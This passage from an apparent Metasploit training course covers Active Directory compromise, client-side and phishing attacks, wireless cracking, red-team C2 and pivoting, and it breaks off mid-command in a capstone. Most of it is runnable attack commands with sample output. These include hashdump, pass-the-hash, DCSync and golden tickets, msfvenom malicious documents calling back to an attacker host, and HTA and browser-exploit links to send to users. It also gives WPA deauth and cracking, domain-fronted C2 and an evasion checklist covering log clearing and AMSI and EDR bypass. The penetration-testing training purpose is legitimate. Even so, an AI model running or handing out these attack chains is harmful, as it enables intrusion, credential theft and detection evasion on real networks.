Select-Object samaccountname,serviceprincipalname\"\n\n# Output:\n# samaccountname    serviceprincipalname\n# svc_sql           MSSQLSvc/sql01.corp.local\n# svc_backup        MSSQLSvc/sql02.corp.local\n\n# 3. Hashdump on DC or any domain admin accessible host\nmeterpreter > hashdump\n# OR from msfconsole with DA access:\nmsf6 > run post/windows/gather/hashdump\n# Output: All domain hashes\n\n# 4. Pass-the-Hash lateral movement\nmsf6 > use exploit/windows/smb/psexec\nmsf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.20  # second DC\nmsf6 exploit(windows/smb/psexec) > set SMBUser Administrator\nmsf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99\nmsf6 exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\nmsf6 exploit(windows/smb/psexec) > set LHOST 10.0.0.5\nmsf6 exploit(windows/smb/psexec) > exploit\n\n# 5. DCSync with Domain Admin\nmeterpreter > load kiwi\nmeterpreter > dcsync_ntlm CORP.LOCAL\\\\krbtgt\n# Extracts krbtgt hash and domain SID\n\n# 6. Golden ticket\nmeterpreter > golden_ticket_create -d CORP.LOCAL \\\n  -k  \\\n  -s  \\\n  -u Administrator \\\n  -t /tmp/golden_ticket.kirbi\n\n# Verify with:\nmeterpreter > kerberos_ticket_use /tmp/golden_ticket.kirbi\n```\n\n\n\n---\n\n## Lesson 29: Social Engineering & Client-Side Attacks\n\n### Learning Objectives\n- Use MSF's client-side attack modules\n- Generate malicious documents (DOC, PDF) with embedded payloads\n- Set up an SMB relay for credential harvesting\n- Use the `browser_autocomplete` and `browser_jwe` modules\n- Understand client-side attack methodology\n\n---\n\n### Theory/Explanation\n\n#### Client-Side Attack Philosophy\n\nInstead of attacking a server directly, you attack the CLIENT (the user's workstation). You make the user connect to your malicious server or open a malicious file. When they do, you get code execution on their machine.\n\n**Common scenarios:**\n- Malicious link sent via email \u2192 user opens in browser \u2192 meterpreter\n- Malicious PDF via email \u2192 user opens \u2192 meterpreter\n- Malicious DOC via email \u2192 user enables macros \u2192 meterpreter\n- Rogue SMB server \u2192 user accesses shared folder \u2192 hash capture\n\n#### Malicious Document Generation\n\n```bash\n# Generate malicious RTF document\nmsfvenom -p windows/meterpreter/reverse_tcp \\\n  LHOST=10.0.0.5 LPORT=4444 \\\n  -f rtf \\\n  -o malicious.rtf\n\n# Generate malicious PDF\nmsfvenom -p windows/meterpreter/reverse_tcp \\\n  LHOST=10.0.0.5 LPORT=4444 \\\n  -f pdf \\\n  -o malicious.pdf\n\n# Generate malicious DOCX (VBA macro)\nmsfvenom -p windows/meterpreter/reverse_tcp \\\n  LHOST=10.0.0.5 LPORT=4444 \\\n  -f docx \\\n  -o malicious.docx\n\n# Generate macro-enabled XLS\nmsfvenom -p windows/meterpreter/reverse_tcp \\\n  LHOST=10.0.0.5 LPORT=4444 \\\n  -f psh VBA \\\n  -o macro.vba\n# Then embed in Excel via manual process\n```\n\n#### The `msfconsole` HTA Attack\n\n```bash\n# Host an HTA exploit via msfconsole\nmsf6 > use exploit/windows/misc/hta_server\nmsf6 exploit(windows/misc/hta_server) > set SRVHOST 10.0.0.5\nmsf6 exploit(windows/misc/hta_server) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\nmsf6 exploit(windows/misc/hta_server) > set LHOST 10.0.0.5\nmsf6 exploit(windows/misc/hta_server) > exploit -j\n# Generates: http://10.0.0.5:8080/abc123.hta\n\n# Send this link to target user\n# When they open it in IE/Edge, meterpreter fires\n```\n\n#### SMB Relay Attack\n\n```bash\n# Use Responder + MSF SMB relay\n# 1. Start Responder to poison LLMNR/NBT-NS\nresponder -I eth0 -b On\n\n# 2. When a user tries to access a share and fails,\n#    responder captures their NTLM hash\n\n# 3. Relay captured hash to another target\nmsf6 > use auxiliary/server/relay_local\n# This relays hashes to targets you specify\n```\n\n#### Browser Exploitation\n\n```bash\n# Use browser_autopwn (automatic browser exploitation)\nmsf6 > use auxiliary/server/browser_autopwn\nmsf6 auxiliary(server/browser_autopwn) > set SRVHOST 10.0.0.5\nmsf6 auxiliary(server/browser_autopwn) > set URIPATH /\nmsf6 auxiliary(server/browser_autopwn) > run -j\n# Generates multiple exploit URLs for different browsers\n# When target visits, auto-exploits with best available exploit\n```\n\n---\n\n### Exercise 29.1\n\n**Task**:\n\n1. Set up an HTA server exploit in msfconsole\n2. Generate a malicious RTF document for Word\n3. Generate a macro-enabled VBA script\n4. Set up a browser_autopwn server\n5. For each: explain the attack flow and what the user needs to do\n\n```bash\n# TODO: Execute and explain\n```\n\n\n\nSolution\n\n```bash\n# 1. HTA Server (most reliable client-side)\nmsf6 > use exploit/windows/misc/hta_server\nmsf6 exploit(windows/misc/hta_server) > set SRVHOST 10.0.0.5\nmsf6 exploit(windows/misc/hta_server) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\nmsf6 exploit(windows/misc/hta_server) > set LHOST 10.0.0.5\nmsf6 exploit(windows/misc/hta_server) > exploit -j\n[*] URL: http://10.0.0.5:8080/PNgfvJhP.hta\n\n# Attack flow:\n# 1. Attacker sends link: http://10.0.0.5:8080/PNgfvJhP.hta\n# 2. User opens link in IE/Edge\n# 3. HTA file downloads and executes (with user confirmation)\n# 4. Meterpreter fires \u2014 no macro needed, no file to open\n\n# 2. Malicious RTF\nmsfvenom -p windows/meterpreter/reverse_tcp \\\n  LHOST=10.0.0.5 LPORT=4444 \\\n  -f rtf \\\n  -o malicious.rtf\n\n# Attack flow:\n# 1. Attacker sends RTF via email\n# 2. User opens RTF in Word\n# 3. RTF exploits CVE-XXXX (old Word vulnerability)\n# 4. Meterpreter fires\n\n# 3. Macro VBA\nmsfvenom -p windows/meterpreter/reverse_tcp \\\n  LHOST=10.0.0.5 LPORT=4444 \\\n  -f psh VBA \\\n  -o macro.vba\n\n# Attack flow:\n# 1. Attacker sends DOCM with macro.vba embedded\n# 2. User opens document, sees \"Enable Content\" prompt\n# 3. User clicks Enable Content\n# 4. Macro executes: downloads meterpreter and runs it\n# 5. Meterpreter fires\n\n# 4. Browser Autopwn\nmsf6 > use auxiliary/server/browser_autopwn\nmsf6 auxiliary(server/browser_autopwn) > set SRVHOST 10.0.0.5\nmsf6 auxiliary(server/browser_autopwn) > set URIPATH /\nmsf6 auxiliary(server/browser_autopwn) > run -j\n[*] Starting exploit generator...\n[*] Browsers supported: [mshtml, chromefox, firefox]\n[*] URL: http://10.0.0.5:8080/\n\n# Attack flow:\n# 1. Attacker sends link: http://10.0.0.5:8080/\n# 2. User opens link in any browser\n# 3. Autopwn tests each browser and exploits the best available\n# 4. Meterpreter fires on first successful exploit\n```\n\n\n\n---\n\n## Lesson 30: Wireless Attacks & Radio Frequency Exploitation\n\n### Learning Objectives\n- Use `aircrack-ng` suite for wireless reconnaissance\n- Use `hostapd-wpe` for WPA enterprise attacks\n- Understand the MSF wireless modules\n- Perform wireless network enumeration\n- Capture and crack WPA handshakes\n\n---\n\n### Theory/Explanation\n\n#### MSF Wireless Modules\n\nMSF has limited wireless capabilities \u2014 primarily for reporting and data management:\n\n```bash\n# These modules primarily manage data from wireless reconnaissance\n# not active wireless attacks\n\n# Import and manage wireless data\nmsf6 > use auxiliary/client/socket/reverse_tcp\n# This is not wireless-specific\n\n# The primary wireless attack tools are external:\n# - aircrack-ng suite\n# - hostapd-wpe\n# - wifite2\n# - hcxdumptool\n```\n\n#### Wireless Recon with aircrack-ng\n\n```bash\n# Put interface in monitor mode\nairmon-ng start wlan0\n# Creates: wlan0mon\n\n# Capture traffic\nairodump-ng wlan0mon -w /tmp/capture --output-format pcap\n\n# Target a specific network\nairodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF \\\n  -c 6 \\\n  --essid CorpWiFi \\\n  -w /tmp/corp_wifi\n\n# Deauth to force reconnection (grab handshake)\naireplay-ng wlan0mon -0 5 -a AA:BB:CC:DD:EE:FF -c TARGET_CLIENT\n\n# Crack WPA handshake\naircrack-ng -w /usr/share/wordlists/rockyou.txt \\\n  -b AA:BB:CC:DD:EE:FF /tmp/corp_wifi.cap\n```\n\n#### WPA Enterprise Attacks\n\n```bash\n# Set up rogue AP with hostapd-wpe\nhostapd-wpe /etc/hostapd-wpe.conf\n\n# Configuration example:\n# interface=wlan0mon\n# ssid=CorpWiFi\n# driver=nl80211\n# ieee8021x=1\n# eap_server=1\n# eap_user_file=/etc/hostapd-wpe.eap_user\n# Credentials captured when user connects to your fake AP\n```\n\n#### MSF Integration with Wireless\n\n```bash\n# After capturing handshake, import into MSF for management\n# MSF doesn't crack WPA \u2014 use hashcat or aircrack-ng\n\n# Store wireless data in MSF database\n# (after using airodump-xml2sql or similar import)\n\n# Use MSFCREDENTIAL to store cracked passwords\nmsf6 > creds add user:admin hash:5f4dcc3b5aa765d61d8327deb882cf99\n```\n\n---\n\n### Exercise 30.1\n\n**Task**:\n\n1. List all wireless interfaces and put one in monitor mode\n2. Run airodump-ng to discover nearby networks\n3. Target a specific network and capture a handshake\n4. Crack the handshake using hashcat\n5. Store the cracked credentials in the MSF database\n\n```bash\n# TODO: Execute wireless attack steps\n```\n\n\n\nSolution\n\n```bash\n# 1. Monitor mode\niwconfig  # list interfaces\nairmon-ng start wlan0\n# or: ip link set wlan0 down && iw dev wlan0 set monitor mode && ip link set wlan0 up\n\n# 2. Discover networks\nairodump-ng wlan0mon\n# Output:\n# CH  6  SSID             BSSID             ENCRYPTION  AUTH\n# 6   CorpWiFi           AA:BB:CC:DD:EE:FF  WPA2        PSK\n# 6   GuestWiFi          11:22:33:44:55:66  WPA2        PSK\n\n# 3. Target and capture handshake\nairodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/corp --output-format pcap\n\n# In another terminal, deauth to force reconnection:\naireplay-ng wlan0mon -0 5 -a AA:BB:CC:DD:EE:FF -c FF:EE:DD:CC:BB:AA\n\n# Wait for handshake in airodump output:\n# [WPA handshake: AA:BB:CC:DD:EE:FF]\n\n# 4. Crack with hashcat\n# Convert to hccapx format\n# Using hashcat tools:\n# ./cap2hccapx.bin /tmp/corp-01.cap /tmp/corp.hccapx\n\n# Crack:\nhashcat -m 2500 -a 0 /tmp/corp.hccapx /usr/share/wordlists/rockyou.txt\n\n# 5. Store in MSF database\nmsf6 > creds add user:admin host:192.168.1.50 service:wifi \\\n  password:SuperSecret123 \\\n  'cracked_password:SuperSecret123'\n```\n\n\n\n---\n\n# Module 7: Red Team Operations with Metasploit\n\n---\n\n## Lesson 31: Red Team vs Penetration Testing\n\n### Learning Objectives\n- Understand the difference between penetration testing and red team operations\n- Plan a red team engagement: scope, objectives, rules of engagement\n- Use C2 frameworks alongside MSF for advanced operations\n- Understand operational security (OPSEC) during engagements\n- Coordinate red team with blue team (threat emulation)\n\n---\n\n### Theory/Explanation\n\n#### Penetration Testing vs Red Team\n\n| Aspect | Penetration Test | Red Team |\n|--------|-----------------|----------|\n| **Goal** | Find vulnerabilities | Achieve objectives (data breach, domain dominance) |\n| **Scope** | Specific systems/networks | Full organization (physical, social, technical) |\n| **Duration** | Days to weeks | Weeks to months |\n| **Phases** | Quick, thorough scanning | Slow, stealthy, persistent |\n| **Success** | Findings count | Objective achieved |\n| **Stealth** | Moderate | Critical |\n\n#### Red Team Engagement Planning\n\n```bash\n# Rules of Engagement Document\n# ============================\n# Scope: All corporate systems at 192.168.1.0/24 and 10.10.10.0/24\n# Objectives:\n#   1. Obtain Domain Admin\n#   2. Access financial systems\n#   3. Exfiltrate sample data (simulated)\n# Rules:\n#   - No denial of service\n#   - No physical access\n#   - Weekly status reports\n#   - Immediate notification of DBAN access\n#   - Engagement duration: 30 days\n```\n\n#### C2 Frameworks\n\nC2 (Command and Control) frameworks extend MSF capabilities for long-term operations:\n\n| Framework | Language | Notes |\n|-----------|---------|-------|\n| **Covenant** | C# (.NET) | Cross-platform, pivoting, rich UI |\n| **Cobalt Strike** | Java | Commercial, best-in-class, Beacon payload |\n| **Sliver** | Go | Open-source, cross-platform, advanced EDR evasion |\n| **Mythic** | Python | Modern, containerized, browser scriptable |\n| **Koadic** | Python | JScript/VBS COM-based, Windows focus |\n\n#### OPSEC Principles\n\nOperational Security (OPSEC) keeps your operation undetected:\n\n```\nOPSEC Rules for Red Team:\n========================\n1. Callbacks to same IP/port = pattern\n   Fix: Rotate LHOST, use domain fronting, CDN redirects\n\n2. Repeated exploitation = detection\n   Fix: Use legitimate credentials, living-off-the-land (LotL)\n\n3. Large payloads in memory = AV triggering\n   Fix: Small stagers, AMSI bypass, segmented execution\n\n4. Scheduled callbacks = network anomaly\n   Fix: Randomize intervals, use domain-relative timing\n\n5. Standard payload paths = file-based detection\n   Fix: In-memory execution, Schrang (process hollowing)\n```\n\n#### MSF in Red Team Engagements\n\n```bash\n# MSF is typically used for:\n# 1. Initial access (when C2 is not yet deployed)\n# 2. Quick assessment scanning\n# 3. Credential harvesting\n# 4. Lateral movement when C2 is detected/banned\n\n# Cobalt Strike + MSF workflow:\n# 1. MSF: Initial scan and exploitation\n# 2. MSF: Get first beacon on target\n# 3. Cobalt Strike: Install C2, pivot through network\n# 4. MSF: For targets that block/beacon detected\n\n# Using Metasploit as a C2:\nmsf6 > use exploit/multi/handler\nset PAYLOAD windows/x64/meterpreter/reverse_https\nset LHOST dailybuild.pw\nset LPORT 443\nset ExitOnSession false\nexploit -j\n\n# Domain fronting (use CDN as proxy):\n# Set ReverseListenerRedirect to true\n# Use CDN domain as LHOST (e.g., cloudfront)\n```\n\n---\n\n### Exercise 31.1\n\n**Task**: \n\n1. Create a Red Team Rules of Engagement document (in Thai and English) for a simulated engagement\n2. Define the objectives hierarchy (primary, secondary, tertiary)\n3. Create an OPSEC checklist with at least 10 items\n4. Set up a multi/handler with `reverse_https` payload (more stealthy than `reverse_tcp`)\n5. Explain how domain fronting would work in this scenario\n\n```bash\n# TODO: Create the document\n```\n\n\n\nSolution\n\n```bash\n# 1. Rules of Engagement (ROE)\ncat > /tmp/ROE.md << 'EOF'\n# RED TEAM ENGAGEMENT RULES OF ENGAGEMENT\n# Organization: Example Corp\n# Duration: 30 days\n# Classification: Confidential\n\n## OBJECTIVES\n\n### Primary\n1. Obtain Domain Admin access\n2. Access and demonstrate exfiltration of financial data\n3. Gain access to R&D systems\n\n### Secondary\n1. Establish persistent access on 5+ systems\n2. Demonstrate ability to move laterally to internal VLANs\n3. Compromise backup systems\n\n### Tertiary\n1. Access CEO workstation\n2. Demonstrate ability to access physical security systems\n\n## RULES\n\n1. NO Denial of Service attacks on production systems\n2. NO destructive data wip (wipe simulations only with approval)\n3. NO social engineering that could cause real-world harm\n4. NO targeting of personal devices outside scope\n5. All exploitation documented with timestamps\n6. Immediate escalation if exfiltration detected by blue team\n7. Weekly status reports every Monday\n8. All C2 traffic must be indistinguishable from normal HTTPS\n9. Persistence mechanisms must survive system reboots\n10. Blue team must NOT be tipped off before engagement ends\n\n## COMMUNICATION\n\n- Emergency contact: +66-xxx-xxxx\n- Signal channel: [REDACTED]\n- Engagement code word: PHOENIX\n-Abort code word: BANGKOK\nEOF\n\n# 2. Objectives hierarchy (already in ROE above)\n\n# 3. OPSEC Checklist\ncat > /tmp/OPSEC_CHECKLIST.md << 'EOF'\n# OPSEC Checklist (10+ items)\n\n## Network OPSEC\n[x] Rotate LHOST every 48 hours\n[x] Use domain fronting for C2 callbacks\n[x] Randomize callback intervals (jitter: 10-30%)\n[x] Use legitimate CDN as proxy (CloudFront, Azure CDN)\n[x] Avoid hardcoded IPs in payloads\n[x] Certificate pinning for C2 comms\n[ ] Domain reputation management (freshly registered domains)\n\n## Host OPSEC\n[x] Avoid writing files to disk when possible\n[x] Use LOLBins (Living-off-the-Land binaries) for execution\n[x] Clear event logs after exploitation\n[x] Disable PowerShell script block logging\n[x] Use process injection to blend with legitimate processes\n[x] Avoid spawning obvious malicious processes (cmd.exe + nc.exe)\n\n## Payload OPSEC\n[x] AV evasion (encoding, packing, custom stagers)\n[x] AMSI bypass before running .NET scripts\n[x] EDR userland hooking bypass (syscall direct)\n[x] Avoid API calls that trigger ETW (Event Tracing for Windows)\n[x] Sleep/jitter before executing suspicious code\n\n## Credential OPSEC\n[x] Use Kerberos tickets instead of NTLM hashes where possible\n[x] Avoid saving credentials to disk\n[x] Use DCSync carefully ( loud operation)\n[x] Golden ticket lifetime limited to 8 hours max\nEOF\n\n# 4. Multi-handler with reverse_https (stealth)\nmsfconsole -q\nmsf6 > use exploit/multi/handler\nmsf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https\nmsf6 exploit(multi/handler) > set LHOST cobalt.example.com\nmsf6 exploit(multi/handler) > set LPORT 443\nmsf6 exploit(multi/handler) > set ExitOnSession false\nmsf6 exploit(multi/handler) > set HandlerSSLCert /tmp/cert.pem\nmsf6 exploit(multi/handler) > exploit -j\n\n# 5. Domain Fronting Explanation:\n# Domain fronting works by:\n# 1. Attacker registers a legitimate CDN domain (e.g., cloudfront.com)\n# 2. Attacker sets up C2 infrastructure behind the CDN\n# 3. Victim's HTTPS request goes to CDN with SNI:attacker-domain\n# 4. CDN routes to attacker backend based on Host header\n# 5. Firewall sees: legitimate cloudfront.com -> allowed\n# 6. Actual traffic: attacker-payload, invisible to firewall\n#\n# Implementation:\n# Use CloudFront as front, redirect Host: dailybuild.pw\n# Meterpreter connects to cloudfront.com:443\n# But Host header says dailybuild.pw\n# CloudFront routes to dailybuild.pw backend\n# Traffic appears as normal HTTPS to cloudfront\n```\n\n\n\n---\n\n## Lesson 32: Pivoting, Tunneling & Covert Channels\n\n### Learning Objectives\n- Create covert tunnels through Meterpreter sessions\n- Use portfwd and SOCKS proxy for pivoting\n- Understand DNS tunneling and ICMP tunneling\n- Use ProxyChains to tunnel any tool through MSF sessions\n- Set up VPN pivoting through compromised hosts\n\n---\n\n### Theory/Explanation\n\n#### Port Forwarding (Meterpreter)\n\n```bash\n# Forward local port to remote host\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50\n# Now: curl http://127.0.0.1:8080 \u2192 10.10.10.50:80 via meterpreter\n\n# Forward remote port to local\nmeterpreter > portfwd add -l 3306 -p 3306 -r 127.0.0.1\n# Now: mysql -h 127.0.0.1 \u2192 remote MySQL via meterpreter\n\n# List all forwards\nmeterpreter > portfwd\n\n# Delete forward\nmeterpreter > portfwd delete -l 8080 -p 80 -r 10.10.10.50\n\n# Flush all\nmeterpreter > portfwd flush\n```\n\n#### SOCKS Proxy for Tool Chaining\n\n```bash\n# Create SOCKS proxy server in MSF\nmsf6 > use auxiliary/server/socks_proxy\nmsf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1\nmsf6 auxiliary(server/socks_proxy) > set SRVPORT 1080\nmsf6 auxiliary(server/socks_proxy) > run -j\n\n# Configure /etc/proxychains.conf\ncat >> /etc/proxychains.conf << 'EOF'\n# Add at end:\nsocks4 127.0.0.1 1080\nEOF\n\n# Now tunnel ANY tool through MSF session:\nproxychains nmap -sT -sV 10.10.10.0/24\nproxychains ssh user@10.10.10.50\nproxychains hydra -L users.txt -P pass.txt 10.10.10.50 ssh\nproxychains firefox http://10.10.10.50  # Browse internal web\n```\n\n#### SSH Tunneling via Meterpreter\n\n```bash\n# If target has SSH access, pivot through it\nmeterpreter > shell\n$ ssh -D 1080 user@internal-ssh-server\n# Creates SOCKS proxy through SSH tunnel\n\n# Or reverse tunnel: from target to attacker\n# From meterpreter shell on target:\n$ ssh -R 8080:127.0.0.1:80 user@10.0.0.5\n# Now: attacker:8080 \u2192 target's localhost:80\n```\n\n#### VPN Pivoting (Meterpreter)\n\nMeterpreter supports VPN pivoting for full network access:\n\n```bash\n# Create VPN interface through meterpreter\nmeterpreter > run post/network/manage/vpn\n\n# Or use autoroute for full routing:\nmeterpreter > run post/multi/manage/autoroute\n# This adds routes to MSF for the entire internal network\n```\n\n#### DNS Tunneling\n\n```bash\n# DNS tunneling: encapsulate data in DNS queries\n# This works when only DNS is allowed out\n\n# Using dnscat2 (external tool):\n# On attacker:\ndnscat2-server example.com\n\n# On target (behind firewall):\ndnscat2-client --dns-server=10.0.0.5 --domain=example.com\n\n# Now you have a C2 channel over DNS\n# Commands are encoded in DNS TXT records\n```\n\n#### ICMP Tunneling\n\n```bash\n# Tunnel traffic through ICMP (ping) packets\n# Useful when only ping is allowed out\n\n# Using ptunnel-ng:\n# On attacker:\nptunnel-ng -p \n\n# On target:\nptunnel-ng -p  -l  -r  -R \n\n# Now: target:local_port \u2192 attacker \u2192 remote_ip:remote_port\n```\n\n---\n\n### Exercise 32.1\n\n**Task**:\n\n1. Set up portfwd from your Kali machine to reach an internal web server at 10.10.10.50:80 via your meterpreter session\n2. Create a SOCKS proxy server on port 1080\n3. Configure proxychains to use the SOCKS proxy\n4. Use `proxychains nmap` to scan the internal network\n5. Demonstrate tunneling SSH through the Meterpreter session\n\n```bash\nmeterpreter > # TODO\n```\n\n\n\nSolution\n\n```bash\n# 1. Port forwarding (from meterpreter)\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50\n[*] Local TCP relay: 0.0.0.0:8080 <-> 10.10.10.50:80\n\n# Now on Kali, test the forward:\ncurl http://127.0.0.1:8080\n# Should show internal web server content\n\n# 2. SOCKS proxy (from msfconsole, not meterpreter)\n# background meterpreter first\nmeterpreter > background\nmsf6 > use auxiliary/server/socks_proxy\nmsf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1\nmsf6 auxiliary(server/socks_proxy) > set SRVPORT 1080\nmsf6 auxiliary(server/socks_proxy) > run -j\n[*] Auxiliary module running as background job 1.\n[*] Starting SOCKS proxy on 127.0.0.1:1080.\n\n# 3. Configure proxychains\ncat > /tmp/proxychains.conf << 'EOF'\ndynamic_chain\nproxy_dns\ntcp_read_time_out 15000\ntcp_connect_time_out 8000\n[ProxyList]\nsocks4 127.0.0.1 1080\nEOF\n\ncp /tmp/proxychains.conf /etc/proxychains.conf\n\n# 4. Scan internal network via proxychains\n# Add route to MSF first:\nmsf6 > route add 10.10.10.0 255.255.255.0 1\n# Now MSF routes through session 1\n\n# But proxychains goes through the SOCKS proxy:\nproxychains nmap -sT -sV -p 22,80,443 10.10.10.50\n# Output shows open ports on internal host through tunnel\n\n# 5. SSH tunnel through meterpreter\nmeterpreter > shell\n$ ssh -D 1080 -C -N user@internal-ssh-server\n# -D 1080: creates SOCKS proxy on port 1080\n# -C: compress\n# -N: don't execute remote command (just tunnel)\n\n# Now you can use the SSH tunnel as another SOCKS proxy\n# Or in proxychains.conf add:\n# socks4 127.0.0.1 1080\n```\n\n\n\n---\n\n## Lesson 33: Building Your MSF Infrastructure\n\n### Learning Objectives\n- Set up a secure Metasploit database with PostgreSQL\n- Configure MSF for high-performance scanning\n- Set up a team server for collaborative assessments\n- Configure logging and audit trails\n- Build scripts for rapid deployment\n\n---\n\n### Theory/Explanation\n\n#### Database Setup\n\n```bash\n# PostgreSQL setup for MSF\nsudo apt update && sudo apt install postgresql\n\n# Create MSF database user\nsudo -u postgres createuser msf -P\n# Enter password: your_secure_password\n\n# Create database\nsudo -u postgres createdb -O msf msfdb\n\n# Initialize\nmsfdb init\n\n# Configure MSF to use external database\n# Edit: ~/.msf4/database.yml\ncat > ~/.msf4/database.yml << 'EOF'\nproduction:\n  adapter: postgresql\n  database: msfdb\n  username: msf\n  password: your_secure_password\n  host: 127.0.0.1\n  port: 5432\n  pool: 5\n  timeout: 5\nEOF\n\n# Connect\nmsfconsole -q\nmsf6 > db_status\n[*] postgresql connected to msfdb\n```\n\n#### High-Performance Configuration\n\n```bash\n# ~/.msf4/msf4.yml\n# Tune performance for large assessments\ncat > ~/.msf4/msf4.yml << 'EOF'\n# Performance\nperformance:\n  thread_limit: 20\n  nmap_max_parallel_sockets: 10\n  mass_assessment_max: 500\n\n# Database\ndb:\n  mass_assessment_import: true\n  auto_collapse_note_types:\n    - vulnerability\n    - vuln\n    - cve\n\n# Logging\nlogging:\n  level: verbose\n  api_log: /var/log/msf/api.log\nEOF\n```\n\n#### Team Server Setup\n\n```bash\n# For collaborative assessments, use MSF RPC daemon\n# Start msfrpcd\nmsfdb stop\nmsfrpcd -U team -P team_password -S -f\n\n# Now team members can connect:\nmsfconsole --rpc\n# Or connect via msfrpc client in Python:\n# from metasploit.msf import MsfRpcClient\n# client = MsfRpcClient('team_password', port=55553)\n```\n\n#### Logging and Audit\n\n```bash\n# Enable detailed logging\n# In msfconsole:\nmsf6 > set Global verbose\n\n# Set log directory\nmsf6 > set LogLevel 3\n\n# Save all output to file\nmsf6 > makerc /tmp/assessment.rc\n\n# Export complete database\nmsf6 > db_export -f xml /tmp/assessment_data.xml\nmsf6 > db_export -f pwdump /tmp/assessment_hashes.txt\n\n# Store loot in organized directory\nmkdir -p /tmp/loot/{hosts,services,credentials,screenshots}\n```\n\n---\n\n### Exercise 33.1\n\n**Task**:\n\n1. Configure PostgreSQL database for MSF\n2. Create a workspace for your assessment\n3. Import an Nmap scan XML result\n4. Set up a high-performance configuration\n5. Create a resource script that initializes everything in one command\n6. Configure log rotation for MSF logs\n\n```bash\n# TODO: Execute all steps\n```\n\n\n\nSolution\n\n```bash\n# 1. Configure PostgreSQL\nsudo systemctl start postgresql\nsudo systemctl enable postgresql\nsudo -u postgres createuser msf -P\nsudo -u postgres createdb -O msf msfdb\n\n# 2. Create database.yml\nmkdir -p ~/.msf4\ncat > ~/.msf4/database.yml << 'EOF'\nproduction:\n  adapter: postgresql\n  database: msfdb\n  username: msf\n  password: msf_secure_password_2024\n  host: 127.0.0.1\n  port: 5432\n  pool: 5\n  timeout: 5\nEOF\n\n# 3. Create workspace\nmsfconsole -q\nmsf6 > workspace -a RedTeamAssessment\nmsf6 > workspace RedTeamAssessment\n\n# 4. Import Nmap scan\nmsf6 > db_import /tmp/nmap_scan.xml\nmsf6 > hosts\nmsf6 > services\n\n# 5. High-performance config\ncat > ~/.msf4/msf4.yml << 'EOF'\nperformance:\n  thread_limit: 20\n  mass_assessment_max: 1000\ndb:\n  mass_assessment_import: true\nlogging:\n  level: verbose\nEOF\n\n# 6. Setup resource script\ncat > /tmp/msf_setup.rc << 'EOF'\n# Initialize MSF for assessment\nworkspace -a RedTeamAssessment\nsetg THREADS 20\nsetg VERBOSE true\n\n# High performance DB\ndb_import /tmp/nmap_scan.xml\n\n# Configure SOCKS for pivoting\nuse auxiliary/server/socks_proxy\nset SRVHOST 127.0.0.1\nset SRVPORT 1080\nrun -j\n\n# Set up handler\nuse exploit/multi/handler\nset PAYLOAD windows/x64/meterpreter/reverse_https\nset LHOST dailybuild.pw\nset LPORT 443\nset ExitOnSession false\nexploit -j\n\n# Show initial status\nhosts\nservices\njobs\nEOF\n\n# Run: msfconsole -q -r /tmp/msf_setup.rc\n\n# 7. Log rotation\n# Add to /etc/logrotate.d/metasploit\nsudo cat > /etc/logrotate.d/metasploit << 'EOF'\n/var/log/msf/*.log {\n    daily\n    rotate 7\n    compress\n    delaycompress\n    notifempty\n    create 0640 root root\n}\nEOF\n```\n\n\n\n---\n\n# Module 8: Capstone Projects\n\n---\n\n## Capstone 1: Full Penetration Test with Complete Attack Chain\n\n### Scenario Overview\n\n**Objective:** Perform a complete penetration test against a target organization called `SecureCorp Ltd.` Your objective is to achieve Domain Admin within the internal network.\n\n**Scope:**\n- External: 203.0.113.0/24 (single public IP: 203.0.113.50)\n- Internal: 192.168.1.0/24 (Windows AD environment)\n- DMZ: 192.168.1.50 (public-facing web server)\n- Internal: 192.168.1.0/24 (full AD domain: securecorp.local)\n- Domain Controllers: 192.168.1.10 (DC01), 192.168.1.11 (DC02)\n\n**Rules:**\n- No DoS attacks\n- Document all findings\n- Immediate stop if ransomware or destructive actions are triggered\n- All exploitation via MSF unless specified otherwise\n\n### Phase 1: External Reconnaissance\n\n**Step 1.1: Initial Port Scan**\n\n```bash\n# Start MSF with database\nmsfconsole -q\nmsf6 > db_nmap -sT -sV -sC -O -p 1-10000 -oA /tmp/external_scan 203.0.113.50\n\n# Results show:\n# PORT     STATE  SERVICE  VERSION\n# 22       open   ssh      OpenSSH 8.4 (Ubuntu)\n# 80       open   http     Apache 2.4.41\n# 443      open   https    Apache 2.4.41\n# 3306     open   mysql    MySQL 8.0.23\n# 8080     open   http     Apache Tomcat 9.0.43\n```\n\n**Step 1.2: Web Enumeration**\n\n```bash\n# Directory scan\nmsf6 > use auxiliary/scanner/http/dir_scanner\nmsf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 203.0.113.50\nmsf6 auxiliary(scanner/http/dir_scanner) > run\n\n# Results:\n# /admin (Tomcat manager)\n# /phpmyadmin\n# /backup\n# /api\n\n# Nikto web scan\nmsf6 > use auxiliary/scanner/http/cert\nmsf6 auxiliary(scanner/http/cert) > set RHOSTS 203.0.113.50\nmsf6 auxiliary(scanner/http/cert) > run\n```\n\n**Step 1.3: Tomcat Exploitation**\n\n```bash\n# Tomcat manager brute force\nmsf6 > use auxiliary/scanner/http/tomcat_mgr_login\nmsf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 203.0.113.50\nmsf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080\nmsf6 auxiliary(scanner/http/tomcat_mgr_login) > run\n\n# Result:\n# 203.0.113.50:8080 - TOMCAT_MANAGER - tomcat:s3cretP@ss123! - SUCCESS\n```\n\n**Step 1.4: Deploy Webshell via Tomcat**\n\n```bash\n# Upload WAR with meterpreter\nmsf6 > use exploit/multi/http/tomcat_mgr_upload\nmsf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 203.0.113.50\nmsf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080\nmsf6 exploit(multi/http/tomcat_mgr_upload) > set 